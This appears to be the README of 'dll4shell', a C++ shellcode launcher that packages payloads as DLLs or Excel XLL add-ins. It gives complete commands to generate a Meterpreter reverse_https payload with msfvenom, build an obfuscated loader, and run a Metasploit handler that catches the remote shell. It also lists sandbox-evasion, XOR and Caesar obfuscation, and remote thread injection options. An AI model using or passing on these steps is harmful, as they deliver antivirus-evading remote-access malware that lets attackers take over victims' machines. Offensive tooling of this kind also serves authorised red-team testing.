C++ shellcode launcher
A collection of DLL wrappers around various shellcode injection and obfuscation techniques. Based on the charlotte tool.
Execution steps
git clone https://github.com/cepxeo/dll4shell && cd dll4shell
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=YOUR_IP LPORT=443 EXITFUNC=thread -f raw -e x64/xor_dynamic -a x64 -o beacon.bin
sudo apt install mingw-w64
python dll4shell.py -e xor -o dll
sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST YOUR_IP; set LPORT 8443; exploit"
Techniques used (-e parameter):
| Value | Obfuscation method, Details | Injection type | Code invocation |
|---|---|---|---|
| xor | XOR | Local | VirtualAlloc, CreateThread |
| xor1 | XOR, sandbox evasion | Remote | VirtualAllocEx, CreateRemoteThread |
| xor2 | XOR, sandbox evasion | Local | hHeapAlloc, hCreateThread |
| shift | Cezar | Local | VirtualAlloc, CreateThread |
| shift1 | Cezar, sandbox evasion | Remote | VirtualAllocEx, CreateRemoteThread |
Outputs (-o parameter):
| Value | Details |
|---|---|
| dll | DLL callable via rundll32 |
| xll | XLL callable via Add-Ins |
| payload | save encrypted payload only |